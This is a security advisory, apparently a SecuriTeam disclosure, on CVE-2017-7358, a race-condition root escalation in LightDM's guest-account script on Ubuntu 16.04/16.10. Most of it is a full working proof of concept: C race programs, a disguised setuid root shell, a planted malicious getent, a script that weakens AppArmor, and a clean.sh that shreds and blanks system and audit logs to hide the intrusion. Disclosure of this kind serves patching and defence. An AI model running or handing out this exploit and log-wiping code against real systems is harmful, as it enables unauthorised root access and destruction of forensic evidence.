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|  | Source: https://blogs.securiteam.com/index.php/archives/3134 
 Vulnerability Summary
 The following advisory describes a local privilege escalation via LightDM
 found in Ubuntu versions 16.10 / 16.04 LTS.
 
 Ubuntu is an open source software platform that runs everywhere from IoT
 devices, the smartphone, the tablet and the PC to the server and the
 cloud. LightDM is an X display manager that aims to be lightweight, fast,
 extensible and multi-desktop. It uses various front-ends to draw login
 interfaces, also called Greeters.
 
 
 Credit
 An independent security researcher, G. Geshev (@munmap), has reported this
 vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
 
 
 Vendor Responses
 The vendor has released a patch to address this issue.
 For more information: https://www.ubuntu.com/usn/usn-3255-1/
 
 
 CVE Details
 CVE-2017-7358 <https://nvd.nist.gov/vuln/detail/CVE-2017-7358>
 
 
 Vulnerability Details
 The vulnerability is found in *LightDM*, which is the Ubuntu’s default
 desktop manager, more specifically in the guest login feature. By default
 *LightDM* allows you to log into a session as a temporary user. This is
 implemented in a script called ‘*guest-account*‘.
 
 @ubuntu:~$ ls -l /usr/sbin/guest-account
 -rwxr-xr-x 1 root root 6516 Sep 29 18:56 /usr/sbin/guest-account
 
 @ubuntu:~$ dpkg -S /usr/sbin/guest-account
 lightdm: /usr/sbin/guest-account
 
 @ubuntu:~$ dpkg -s lightdm
 Package: lightdm
 Status: install ok installed
 Priority: optional
 Section: x11
 Installed-Size: 672
 Maintainer: Robert Ancell <robert.ancell@ubuntu.com>
 Architecture: amd64
 Version: 1.19.5-0ubuntu1
 Provides: x-display-manager
 Depends: debconf (>= 0.5) | debconf-2.0, libc6 (>= 2.14), libgcrypt20 (>=
 1.7.0), libglib2.0-0 (>= 2.39.4), libpam0g (>= 0.99.7.1), libxcb1, libxdmcp6
 , adduser, bash (>= 4.3), dbus, libglib2.0-bin, libpam-runtime (>= 0.76-14),
 libpam-modules, plymouth (>= 0.8.8-0ubuntu18)
 Pre-Depends: dpkg (>= 1.15.7.2)
 Recommends: xserver-xorg, unity-greeter | lightdm-greeter | lightdm-kde-
 greeter
 Suggests: bindfs
 Conflicts: liblightdm-gobject-0-0, liblightdm-qt-0-0
 Conffiles:
 /etc/apparmor.d/abstractions/lightdm a715707411c3cb670a68a4ad738077bf
 /etc/apparmor.d/abstractions/lightdm_chromium-browser
 e1195e34922a67fa219b8b95eaf9c305
 /etc/apparmor.d/lightdm-guest-session 3c7812f49f27e733ad9b5d413c4d14cb
 /etc/dbus-1/system.d/org.freedesktop.DisplayManager.conf
 b76b6b45d7f7ff533c51d7fc02be32f4
 /etc/init.d/lightdm be2b1b20bec52a04c1a877477864e188
 /etc/init/lightdm.conf 07304e5b3265b4fb82a2c94beb9b577e
 /etc/lightdm/users.conf 1de1a7e321b98e5d472aa818893a2a3e
 /etc/logrotate.d/lightdm b6068c54606c0499db9a39a05df76ce9
 /etc/pam.d/lightdm 1abe2be7a999b42517c82511d9e9ba22
 /etc/pam.d/lightdm-autologin 28dd060554d1103ff847866658431ecf
 /etc/pam.d/lightdm-greeter 65ed119ce8f4079f6388b09ad9d8b2f9
 Description: Display Manager
 LightDM is a X display manager that:
 * Has a lightweight codebase
 * Is standards compliant (PAM, ConsoleKit, etc)
 * Has a well defined interface between the server and user interface
 * Cross-desktop (greeters can be written in any toolkit)
 Homepage: https://launchpad.net/lightdm
 
 @ubuntu:~$
 
 The script runs as root when you view the login screen, also known as a
 greeter, to log in as a guest. Ubuntu’s default greeter is Unity Greeter.
 
 
 *Vulnerable code*
 
 The vulnerable function is ‘*add_account*‘.
 
 35   temp_home=$(mktemp -td guest-XXXXXX)
 36   GUEST_HOME=$(echo ${temp_home} | tr '[:upper:]' '[:lower:]')
 37   GUEST_USER=${GUEST_HOME#/tmp/}
 38   [ ${GUEST_HOME} != ${temp_home} ] && mv ${temp_home} ${GUEST_HOME}
 
 The guest folder gets created using ‘mktemp’ on line 35. The attacker can
 use ‘*inotify*‘ to monitor ‘*/tmp*‘ for the creation of this folder.
 
 The folder name will likely contain both upper and lower case letters. Once
 this folder is created, we grab the folder name and quickly and create the
 equivalent folder with all letters lower case.
 
 If we manage to race the ‘*mv*‘ command on line 38, we end up with the
 newly created home for the guest user inside the folder we own.
 
 Once we have the guest home under our control, we rename it and replace it
 with a *symbolic link* to a folder we want to take over. The code below
 will then add the new user to the OS. The user’s home folder will already
 point to the folder we want to take over, for example ‘*/usr/local/sbin*‘.
 
 68    useradd --system --home-dir ${GUEST_HOME} --comment $(gettext "Guest")
 --user-group --shell /bin/bash ${GUEST_USER} || {
 69      rm -rf ${GUEST_HOME}
 70      exit 1
 71    }
 
 The attacker can grab the newly created user’s ID and monitor ‘
 */usr/local/sbin*‘ for ownership changes. The ownership will be changed by
 the following ‘*mount*‘.
 
 78  mount -t tmpfs -o mode=700,uid=${GUEST_USER} none ${GUEST_HOME} || {
 79    rm -rf ${GUEST_HOME}
 80    exit 1
 81  }
 
 We will remove the symbolic link and create a folder with the same name –
 to let the guest user to log in. While the guest is logging in, his path
 for finding executable files will include ‘*bin*‘ under his home folder.
 
 That’s why we create a new symbolic link to point his ‘*bin*‘ into a folder
 we control. This way we can force the user to execute our own code under
 his user ID. We use this to log out the guest user from his session which
 is where we can gain root access.
 
 The logout code will first execute the following code:
 
 156  PWENT=$(getent passwd ${GUEST_USER}) || {
 157    echo "Error: invalid user ${GUEST_USER}"
 158    exit 1
 159  }
 
 This code will be executed as the owner of the script, i.e. root. Since we
 have already taken over ‘*/usr/local/sbin*‘ and have planted our own ‘
 *getent*‘, we get to execute commands as root at this point.
 
 Note – We can trigger the guest session creation script by entering the
 following two commands.
 
 XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
 XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool
 switch-to-guest
 
 
 Proof of Concept
 
 The Proof of Concept is contains 9 files and they will take advantage of
 the race conditions mentioned above.
 
 1. kodek/bin/cat
 2. kodek/shell.c
 3. kodek/clean.sh
 4. kodek/run.sh
 5. kodek/stage1.sh
 6. kodek/stage1local.sh
 7. kodek/stage2.sh
 8. kodek/boclocal.c
 9. kodek/boc.c
 
 By running the following scripts an attacker can run root commands:
 
 @ubuntu:/var/tmp/kodek$ ./stage1local.sh
 
 @ubuntu:/var/tmp/kodek$
 [!] GAME OVER !!!
 [!] count1: 2337 count2: 7278
 [!] w8 1 minute and run /bin/subash
 
 @ubuntu:/var/tmp/kodek$ /bin/subash
 root@ubuntu:~# id
 uid=0(root) gid=0(root) groups=0(root)
 root@ubuntu:~#
 
 If the exploit fails, you can simply run it again.
 
 Once you get your root shell, you can optionally clean any exploit files
 and logs by executing the below.
 
 root@ubuntu:/var/tmp/kodek# ./clean.sh
 /usr/bin/shred: /var/log/audit/audit.log: failed to open for writing: No such
 file or directory
 Do you want to remove exploit (y/n)?
 y
 /usr/bin/shred: /var/tmp/kodek/bin: failed to open for writing: Is a
 directory
 
 root@ubuntu:/var/tmp/kodek#
 
 boc.c
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
 #include <ctype.h>
 #include <sys/inotify.h>
 #include <sys/stat.h>
 #include <pwd.h>
 #define EVENT_SIZE(sizeof(struct inotify_event))
 #define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
 int main(void) {
 struct stat info;
 struct passwd * pw;
 struct inotify_event * event;
 pw = getpwnam("root");
 if (pw == NULL) exit(0);
 char newpath[20] = "old.";
 int length = 0, i, fd, wd, count1 = 0, count2 = 0;
 int a, b;
 char buffer[EVENT_BUF_LEN];
 fd = inotify_init();
 if (fd < 0) exit(0);
 wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
 if (wd < 0) exit(0);
 chdir("/tmp/");
 while (1) {
 length = read(fd, buffer, EVENT_BUF_LEN);
 if (length > 0) {
 event = (struct inotify_event * ) buffer;
 if (event - > len) {
 if (strstr(event - > name, "guest-") != NULL) {
 for (i = 0; event - > name[i] != '\0'; i++) {
 event - > name[i] = tolower(event - > name[i]);
 }
 if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS)
 ;
 if (event - > mask & IN_MOVED_FROM) {
 rename(event - > name, strncat(newpath, event - > name, 15));
 symlink("/usr/local/sbin/", event - > name);
 while (1) {
 count1 = count1 + 1;
 pw = getpwnam(event - > name);
 if (pw != NULL) break;
 }
 while (1) {
 count2 = count2 + 1;
 stat("/usr/local/sbin/", & info);
 if (info.st_uid == pw - > pw_uid) {
 a = unlink(event - > name);
 b = mkdir(event - > name, ACCESSPERMS);
 if (a == 0 && b == 0) {
 printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n",
 count1, count2);
 } else {
 printf("\n[!] a: %i b: %i\n[!] exploit failed !!!\n", a, b
 );
 }
 system("/bin/rm -rf /tmp/old.*");
 inotify_rm_watch(fd, wd);
 close(fd);
 exit(0);
 }
 }
 }
 }
 }
 }
 }
 }
 
 boclocal.c
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
 #include <ctype.h>
 #include <sys/inotify.h>
 #include <sys/stat.h>
 #include <pwd.h>
 #define EVENT_SIZE(sizeof(struct inotify_event))
 #define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
 int main(void) {
 struct stat info;
 struct passwd * pw;
 struct inotify_event * event;
 pw = getpwnam("root");
 if (pw == NULL) exit(0);
 char newpath[20] = "old.";
 int length = 0, i, fd, wd, count1 = 0, count2 = 0;
 int a, b, c;
 char buffer[EVENT_BUF_LEN];
 fd = inotify_init();
 if (fd < 0) exit(0);
 wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
 if (wd < 0) exit(0);
 chdir("/tmp/");
 while (1) {
 length = read(fd, buffer, EVENT_BUF_LEN);
 if (length > 0) {
 event = (struct inotify_event * ) buffer;
 if (event - > len) {
 if (strstr(event - > name, "guest-") != NULL) {
 for (i = 0; event - > name[i] != '\0'; i++) {
 event - > name[i] = tolower(event - > name[i]);
 }
 if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS)
 ;
 if (event - > mask & IN_MOVED_FROM) {
 rename(event - > name, strncat(newpath, event - > name, 15));
 symlink("/usr/local/sbin/", event - > name);
 while (1) {
 count1 = count1 + 1;
 pw = getpwnam(event - > name);
 if (pw != NULL) break;
 }
 while (1) {
 count2 = count2 + 1;
 stat("/usr/local/sbin/", & info);
 if (info.st_uid == pw - > pw_uid) {
 a = unlink(event - > name);
 b = mkdir(event - > name, ACCESSPERMS);
 c = symlink("/var/tmp/kodek/bin/", strncat(event - > name,
 "/bin", 5));
 if (a == 0 && b == 0 && c == 0) {
 printf("\n[!] GAME OVER !!!\n[!] count1: %i count2:
 %i\n[!] w8 1 minute and run /bin/subash\n", count1, count2);
 } else {
 printf("\n[!] a: %i b: %i c: %i\n[!] exploit failed
 !!!\n[!] w8 1 minute and run it again\n", a, b, c);
 }
 system("/bin/rm -rf /tmp/old.*");
 inotify_rm_watch(fd, wd);
 close(fd);
 exit(0);
 }
 }
 }
 }
 }
 }
 }
 }
 
 clean.sh
 
 #!/bin/bash
 if [ "$(/usr/bin/id -u)" != "0" ]; then
 echo "This script must be run as root" 1>&2
 exit 1
 fi
 /bin/rm -rf /tmp/guest-* /tmp/old.guest-*
 /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc /var/log/kern
 .log /var/log/audit/audit.log /var/log/lightdm/*
 /bin/echo > /var/log/auth.log
 /bin/echo > /var/log/syslog
 /bin/dmesg -c >/dev/null 2>&1
 /bin/echo "Do you want to remove exploit (y/n)?"
 read answer
 if [ "$answer" == "y" ]; then
 /usr/bin/shred -fu /var/tmp/kodek/* /var/tmp/kodek/bin/*
 /bin/rm -rf /var/tmp/kodek
 else
 exit
 fi
 
 run.sh
 
 #!/bin/sh
 /bin/cat << EOF > /usr/local/sbin/getent
 #!/bin/bash
 /bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1
 /bin/chmod 4111 /bin/subash >/dev/null 2>&1
 COUNTER=0
 while [ \$COUNTER -lt 10 ]; do
 /bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1
 let COUNTER=COUNTER+1
 done
 /bin/sed -i 's/\/usr\/lib\/lightdm\/lightdm-guest-session
 {/\/usr\/lib\/lightdm\/lightdm-guest-session flags=(complain) {/g' /etc/
 apparmor.d/lightdm-guest-session >/dev/null 2>&1
 /sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2>
 &1
 /usr/bin/getent passwd "\$2"
 EOF
 /bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1
 
 shell.c
 
 #define _GNU_SOURCE
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <grp.h>
 
 int main(void)
 {
 setresuid(0, 0, 0);
 setresgid(0, 0, 0);
 setgroups(0, NULL);
 putenv("HISTFILE=/dev/null");
 execl("/bin/bash", "[bioset]", "-pi", NULL);
 return 0;
 }
 
 stage1.sh
 
 #!/bin/bash
 if [ "${PWD}" == "/var/tmp/kodek" ]; then
 /usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
 /usr/bin/killall -9 boc >/dev/null 2>&1
 /bin/sleep 3s
 /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>
 &1
 /usr/bin/gcc boc.c -Wall -s -o /var/tmp/boc
 /usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
 /bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
 /var/tmp/boc
 else
 echo "[!] run me from /var/tmp/kodek"
 exit
 fi
 
 stage1local.sh
 
 #!/bin/bash
 if [ "${PWD}" == "/var/tmp/kodek" ]; then
 /usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
 /usr/bin/killall -9 boc >/dev/null 2>&1
 /bin/sleep 3s
 /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>
 &1
 /usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc
 /usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
 /bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
 /var/tmp/boc &
 /bin/sleep 5s
 XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
 XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool
 switch-to-guest
 else
 echo "[!] run me from /var/tmp/kodek"
 exit
 fi
 
 stage2.sh
 
 #!/bin/sh
 /usr/bin/systemd-run --user /var/tmp/run.sh
 
 /bin/cat
 
 #!/bin/sh
 /usr/bin/systemd-run --user /var/tmp/run.sh
 /bin/sleep 15s
 /bin/loginctl terminate-session `/bin/loginctl session-status | /usr/bin/
 head -1 | /usr/bin/awk '{ print $1 }'`
 
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